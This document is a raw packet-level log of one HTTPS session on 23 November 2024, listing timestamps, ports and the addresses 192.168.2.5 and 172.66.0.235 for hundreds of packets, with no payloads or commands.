Nov 23, 2024 13:38:01.062098026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.064414024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.064464092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.064497948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.064511061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.064537048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.064555883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.107121944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.241148949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.241177082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.241322041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.241341114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.241386890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.242512941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.242532969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.242582083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.242588043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.242624044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.242738008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.244985104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.245003939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.245066881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.245074034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.245115042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.246747017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.246766090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.246828079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.246833086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.246869087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.249224901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.249245882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.249299049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.249305010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.249345064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.250384092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.251585960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.251605988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.251672983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.251678944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.251712084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.253747940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.253767014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.253845930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.253851891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.253892899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.256190062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.256210089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.256242990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.256249905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.256275892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.256289959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.273405075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.433326006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.433391094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.433449030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.433541059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.433583975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.434509039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.434583902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.434595108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.434616089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.434655905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.434696913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.436990976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.437051058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.437060118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.437074900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.437114000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.437136889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.438715935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.438762903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.438796997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.438811064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.438837051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.438854933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.441212893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.441260099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.441279888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.441293001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.441342115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.441342115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.443588972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.443634987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.443659067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.443671942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.443712950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.443712950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.445710897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.445808887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.445848942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.445871115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.445883036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.445911884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.445928097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.448277950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.448321104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.448338032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.448348999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.448380947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.448400974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.450648069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.625209093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.625269890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.625452042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.625452995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.625524998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.625634909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.625729084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.625746012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.625814915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.627480984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.627532005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.627594948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.627608061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.627636909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.630013943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.630067110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.630084991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.630098104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.630135059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.630152941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.632287979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.632335901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.632369995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.632381916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.632411957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.632435083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.634798050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.634841919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.634872913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.634885073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.634912014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.634932041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.636579037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.636622906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.636657000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.636667967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.636693001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.636718035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.638720036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.638771057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.638803005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.638813972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.638839960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.638859034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.640696049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.641113043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.641160965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.641192913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.641206026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.641232967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.641272068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.684221983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.817684889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.817717075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.817770958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.817791939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.817819118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.817837000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.819363117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.819385052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.819422960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.819428921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.819480896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.821903944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.821928978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.821966887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.821973085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.822063923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.824213982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.824234962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.824290991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.824296951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.824328899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.826713085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.826735973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.826772928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.826778889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.826809883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.826827049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.827131987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.828474998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.828496933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.828531027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.828536987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.828581095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.830621958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.830643892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.830688953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.830693960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.830717087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.830735922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.832999945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.833018064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.833067894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.833072901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.833113909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.836199999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.012394905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.012515068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.012536049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.012561083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.012588978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.012592077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.012624979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.012655973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.014897108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.014942884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.014981031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.015012980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.015043020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.015074015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.016496897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.016556978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.016577005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.016590118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.016616106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.018873930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.018917084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.018955946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.018969059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.019002914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.021287918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.021330118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.021363974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.021378040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.021404982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.023113012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.023154020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.023180008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.023192883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.023227930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.025079012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.027517080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.027565002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.027601957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.027612925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.027642965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.028384924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.028434038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.028450012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.028466940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.028507948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.034225941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.048357010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.204464912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.204502106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.204574108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.204646111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.204680920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.205019951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.206665993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.206715107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.206758022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.206772089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.206800938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.206819057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.208527088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.208575964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.208609104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.208621025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.208647013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.208681107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.210853100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.210896969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.210918903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.210930109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.210963011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.210995913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.213321924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.213367939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.213398933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.213411093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.213438988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.213459015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.215090990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.215137959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.215173006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.215184927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.215239048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.215239048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.217478037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.217483044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.217540026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.217552900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.217566013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.217597961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.217619896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.219726086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.219772100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.219803095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.219815016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.219841957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.219862938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.252768993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.396609068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.396645069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.396779060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.396804094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.396851063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.398777962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.398798943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.398833990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.398842096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.398871899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.398889065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.400595903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.400620937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.400652885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.400657892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.400681973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.400702000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.402945995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.402967930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.403004885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.403011084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.403038025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.403054953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.405376911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.405397892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.405424118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.405430079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.405457020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.405473948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.407254934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.407275915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.407304049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.407309055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.407337904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.407350063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.409290075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.409590960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.409611940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.409657001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.409662962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.409698963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.410084009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.410126925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:02.411066055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:02.411122084 CET	49704	443	192.168.2.5	172.66.0.235
